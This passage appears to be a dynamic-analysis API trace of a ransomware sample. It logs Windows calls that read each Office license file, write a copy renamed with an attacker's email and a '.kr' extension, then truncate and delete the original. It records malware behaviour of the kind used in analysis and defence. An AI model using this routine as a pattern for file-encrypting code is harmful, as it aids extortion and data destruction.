lstrlenW (lpString=".jpg") returned 4 [0213.741] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms") returned 81 [0213.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms") returned 81 [0213.741] lstrlenW (lpString=".doc") returned 4 [0213.741] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.741] lstrlenW (lpString=".docx") returned 5 [0213.741] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.741] lstrlenW (lpString=".pdf") returned 4 [0213.741] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.741] lstrlenW (lpString=".xls") returned 4 [0213.741] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.741] lstrlenW (lpString=".xlsx") returned 5 [0213.741] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.741] lstrlenW (lpString=".ppt") returned 4 [0213.742] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms") returned 81 [0213.742] lstrlenW (lpString=".zip") returned 4 [0213.742] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.742] lstrlenW (lpString=".rar") returned 4 [0213.742] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.742] lstrlenW (lpString=".bz2") returned 4 [0213.742] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.742] lstrlenW (lpString=".7z") returned 3 [0213.742] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms") returned 81 [0213.742] lstrlenW (lpString=".dbf") returned 4 [0213.742] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms") returned 81 [0213.742] lstrlenW (lpString=".1cd") returned 4 [0213.742] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms") returned 81 [0213.742] lstrlenW (lpString=".jpg") returned 4 [0213.742] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.742] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.742] lstrlenW (lpString="ProfessionalDemoR_BypassTrial180-pl.xrm-ms") returned 42 [0213.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.743] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11219) returned 1 [0213.743] CloseHandle (hObject=0x564) returned 1 [0213.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0213.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.744] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.744] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0213.744] GetLastError () returned 0x0 [0213.744] ReadFile (in: hFile=0x564, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2bd3, lpOverlapped=0x0) returned 1 [0213.746] WriteFile (in: hFile=0x3c4, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0213.747] ReadFile (in: hFile=0x564, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.747] WriteFile (in: hFile=0x3c4, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x128, lpOverlapped=0x0) returned 1 [0213.748] SetEndOfFile (hFile=0x3c4) returned 1 [0213.748] CloseHandle (hObject=0x3c4) returned 1 [0213.748] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.748] SetEndOfFile (hFile=0x564) returned 1 [0213.751] CloseHandle (hObject=0x564) returned 1 [0213.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-pl.xrm-ms")) returned 1 [0213.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0213.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0213.752] lstrlenW (lpString=".doc") returned 4 [0213.752] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.752] lstrlenW (lpString=".docx") returned 5 [0213.753] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.753] lstrlenW (lpString=".pdf") returned 4 [0213.753] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.753] lstrlenW (lpString=".xls") returned 4 [0213.753] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.753] lstrlenW (lpString=".xlsx") returned 5 [0213.753] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.753] lstrlenW (lpString=".ppt") returned 4 [0213.753] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0213.753] lstrlenW (lpString=".zip") returned 4 [0213.753] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.753] lstrlenW (lpString=".rar") returned 4 [0213.753] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.753] lstrlenW (lpString=".bz2") returned 4 [0213.753] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.753] lstrlenW (lpString=".7z") returned 3 [0213.753] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0213.753] lstrlenW (lpString=".dbf") returned 4 [0213.753] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0213.753] lstrlenW (lpString=".1cd") returned 4 [0213.753] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0213.753] lstrlenW (lpString=".jpg") returned 4 [0213.753] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0213.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0213.753] lstrlenW (lpString=".doc") returned 4 [0213.753] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.753] lstrlenW (lpString=".docx") returned 5 [0213.754] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.754] lstrlenW (lpString=".pdf") returned 4 [0213.754] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.754] lstrlenW (lpString=".xls") returned 4 [0213.754] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.754] lstrlenW (lpString=".xlsx") returned 5 [0213.754] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.754] lstrlenW (lpString=".ppt") returned 4 [0213.754] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0213.754] lstrlenW (lpString=".zip") returned 4 [0213.754] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.754] lstrlenW (lpString=".rar") returned 4 [0213.754] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.754] lstrlenW (lpString=".bz2") returned 4 [0213.754] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.754] lstrlenW (lpString=".7z") returned 3 [0213.754] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0213.754] lstrlenW (lpString=".dbf") returned 4 [0213.754] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0213.754] lstrlenW (lpString=".1cd") returned 4 [0213.754] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0213.754] lstrlenW (lpString=".jpg") returned 4 [0213.754] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.754] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.754] lstrlenW (lpString="ProfessionalDemoR_BypassTrial180-ppd.xrm-ms") returned 43 [0213.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.756] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=23263) returned 1 [0213.756] CloseHandle (hObject=0x564) returned 1 [0213.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0213.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.937] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.937] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0214.695] GetLastError () returned 0x0 [0214.695] ReadFile (in: hFile=0x564, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x5adf, lpOverlapped=0x0) returned 1 [0214.697] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x5ae0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x5ae0, lpOverlapped=0x0) returned 1 [0214.699] ReadFile (in: hFile=0x564, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0214.699] WriteFile (in: hFile=0x538, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x12a, lpOverlapped=0x0) returned 1 [0214.699] SetEndOfFile (hFile=0x538) returned 1 [0214.699] CloseHandle (hObject=0x538) returned 1 [0214.699] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.699] SetEndOfFile (hFile=0x564) returned 1 [0214.702] CloseHandle (hObject=0x564) returned 1 [0214.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0214.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0214.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0214.904] lstrlenW (lpString=".doc") returned 4 [0214.904] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.904] lstrlenW (lpString=".docx") returned 5 [0214.904] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.904] lstrlenW (lpString=".pdf") returned 4 [0214.904] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.904] lstrlenW (lpString=".xls") returned 4 [0214.904] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.904] lstrlenW (lpString=".xlsx") returned 5 [0214.904] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.904] lstrlenW (lpString=".ppt") returned 4 [0214.904] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0214.904] lstrlenW (lpString=".zip") returned 4 [0214.904] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.904] lstrlenW (lpString=".rar") returned 4 [0214.904] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.904] lstrlenW (lpString=".bz2") returned 4 [0214.904] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.904] lstrlenW (lpString=".7z") returned 3 [0214.904] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0214.904] lstrlenW (lpString=".dbf") returned 4 [0214.904] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0214.904] lstrlenW (lpString=".1cd") returned 4 [0214.905] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0214.905] lstrlenW (lpString=".jpg") returned 4 [0214.905] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0214.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0214.905] lstrlenW (lpString=".doc") returned 4 [0214.905] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.905] lstrlenW (lpString=".docx") returned 5 [0214.905] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.905] lstrlenW (lpString=".pdf") returned 4 [0214.905] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.905] lstrlenW (lpString=".xls") returned 4 [0214.905] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.905] lstrlenW (lpString=".xlsx") returned 5 [0214.905] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.905] lstrlenW (lpString=".ppt") returned 4 [0214.905] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0214.905] lstrlenW (lpString=".zip") returned 4 [0214.905] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.905] lstrlenW (lpString=".rar") returned 4 [0214.905] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0214.905] lstrlenW (lpString=".bz2") returned 4 [0214.905] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0214.905] lstrlenW (lpString=".7z") returned 3 [0214.905] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0214.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0214.905] lstrlenW (lpString=".dbf") returned 4 [0214.905] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0214.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0214.905] lstrlenW (lpString=".1cd") returned 4 [0214.908] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0214.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0214.908] lstrlenW (lpString=".jpg") returned 4 [0214.908] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0214.908] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0214.908] lstrlenW (lpString="ProjectProCO365R_Subscription-ppd.xrm-ms") returned 40 [0214.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0214.909] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=21409) returned 1 [0214.909] CloseHandle (hObject=0x51c) returned 1 [0214.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ppd.xrm-ms")) returned 0x220 [0214.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0214.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0214.909] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.909] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0214.910] GetLastError () returned 0x0 [0214.910] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x53a1, lpOverlapped=0x0) returned 1 [0214.913] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x53b0, lpOverlapped=0x0) returned 1 [0214.914] ReadFile (in: hFile=0x51c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0214.914] WriteFile (in: hFile=0x574, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x124, lpOverlapped=0x0) returned 1 [0214.914] SetEndOfFile (hFile=0x574) returned 1 [0214.914] CloseHandle (hObject=0x574) returned 1 [0214.914] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0214.914] SetEndOfFile (hFile=0x51c) returned 1 [0214.917] CloseHandle (hObject=0x51c) returned 1 [0214.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ppd.xrm-ms")) returned 1 [0214.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms") returned 90 [0214.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms") returned 90 [0214.919] lstrlenW (lpString=".doc") returned 4 [0214.919] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0214.919] lstrlenW (lpString=".docx") returned 5 [0214.919] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0214.919] lstrlenW (lpString=".pdf") returned 4 [0214.919] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0214.919] lstrlenW (lpString=".xls") returned 4 [0214.919] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0214.919] lstrlenW (lpString=".xlsx") returned 5 [0214.919] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0214.919] lstrlenW (lpString=".ppt") returned 4 [0214.919] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0214.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms") returned 90 [0214.919] lstrlenW (lpString=".zip") returned 4 [0214.919] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0214.919] lstrlenW (lpString=".rar") returned 4 [0214.919] 